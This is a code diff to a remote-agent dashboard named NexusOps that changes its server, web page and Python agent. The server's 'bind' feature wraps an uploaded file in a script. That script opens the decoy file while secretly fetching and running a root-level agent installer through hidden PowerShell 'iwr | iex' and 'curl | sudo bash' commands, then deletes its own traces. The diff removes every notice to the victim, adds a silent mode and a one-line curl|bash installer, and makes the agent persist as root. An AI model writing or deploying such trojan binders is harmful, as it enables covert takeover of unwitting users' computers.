v3: universal auto-installer, silent mode, silent binders

agents/agent.py

@@ -590,8 +590,13 @@ def main():
     global last_log_check_time, heartbeat_interval, node_tags
     parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
     parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
+    parser.add_argument("--silent", action="store_true", help="Suppress all console output")
     args = parser.parse_args()
 
+    if args.silent:
+        sys.stdout = open(os.devnull, 'w')
+        sys.stderr = open(os.devnull, 'w')
+
     server_url = args.server.rstrip('/')
     hostname = socket.gethostname()
     system_os = platform.system()

public/index.html

@@ -216,14 +216,23 @@
 
       <div class="modal-body">
         <div class="os-tabs">
-          <button class="tab-btn active" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Standalone Binary</button>
+          <button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
-          <button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux Script</button>
+          <button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
-          <button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows (PowerShell)</button>
+          <button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
+          <button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
           <button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
-          <button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python (Manual)</button>
+          <button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
         </div>
 
-        <div class="tab-content active" id="tab-binary">
+        <div class="tab-content active" id="tab-universal">
+          <p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
+          <div class="code-block">
+            <code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
+            <button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
+          </div>
+        </div>
+
+        <div class="tab-content" id="tab-binary">
           <p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
           <div class="code-block">
             <code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>

server.js

@@ -248,7 +248,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
       '$SERVER_URL = "' + serverUrl + '"',
       '',
       'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
-      'Write-Host "Extracting $ORIGINAL_NAME ..."',
       '',
       '$scriptPath = $MyInvocation.MyCommand.Path',
       '$lines = Get-Content $scriptPath',
@@ -260,12 +259,10 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
       '',
       'Start-Process $OUTPUT_FILE -WindowStyle Normal',
       '',
-      'Write-Host "[*] Deploying NexusOps agent..."',
       'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
       '',
       'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
       '',
-      'Write-Host "Done — file opened, agent deployed."',
       '__PAYLOAD_BASE64__',
       ...b64Lines
     ];
@@ -286,7 +283,6 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
       `SERVER_URL="${serverUrl}"`,
       '',
       'mkdir -p "$OUTPUT_DIR"',
-      `echo "Extracting ${originalName} ..."`,
       '',
       'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
       'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
@@ -301,14 +297,12 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
       'fi',
       '',
       '# Silently install agent in background',
-      'echo "[*] Deploying NexusOps agent..."',
       '(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
       '(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
       '',
       '(sleep 60 && rm -rf "$OUTPUT_DIR") &',
       'disown',
       '',
-      'echo "Done — file opened, agent deployed."',
       'exit 0',
       '__PAYLOAD_BASE64__',
       b64Content
@@ -652,7 +646,7 @@ After=network.target
 
 [Service]
 Type=simple
-ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL
+ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
 Restart=always
 RestartSec=5
 User=root
@@ -694,7 +688,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
 Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
 
 Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
-Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL" -WindowStyle Hidden
+Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
 
 Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
 `;
@@ -743,6 +737,7 @@ cat << EOF > "$PLIST_FILE"
         <string>$INSTALL_DIR/agent.py</string>
         <string>--server</string>
         <string>$SERVER_URL</string>
+        <string>--silent</string>
     </array>
     <key>RunAtLoad</key>
     <true/>
@@ -766,6 +761,41 @@ echo "   To stop: launchctl unload $PLIST_FILE"
   res.send(script);
 });
 
+// ── Universal Auto-Install (one command, any OS, fully silent) ──
+app.get('/install', (req, res) => {
+  const host = req.headers.host || `${SERVER_IP}:${PORT}`;
+  const silent = req.query.silent !== '0';  // silent by default
+  const quiet = silent ? '>/dev/null 2>&1' : '';
+  const script = `#!/bin/bash
+# NexusOps Universal Auto-Installer — one command, any OS
+SERVER_URL="http://${host}"
+echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
+
+case "$(uname -s 2>/dev/null || echo Windows)" in
+  Linux)
+    echo "[*] Linux detected — deploying via systemd"
+    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
+    ;;
+  Darwin)
+    echo "[*] macOS detected — deploying via launchd"
+    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
+    ;;
+  CYGWIN*|MINGW*|MSYS*|Windows)
+    echo "[*] Windows detected — deploying via PowerShell"
+    powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
+    ;;
+  *)
+    echo "[!] Unknown OS — trying Linux installer as fallback"
+    curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
+    ;;
+esac
+
+echo "[*] Agent deployment initiated — it will register within 10 seconds"
+`;
+  res.setHeader('Content-Type', 'text/plain');
+  res.send(script);
+});
+
 app.get('/agent.py', (req, res) => {
   res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
 });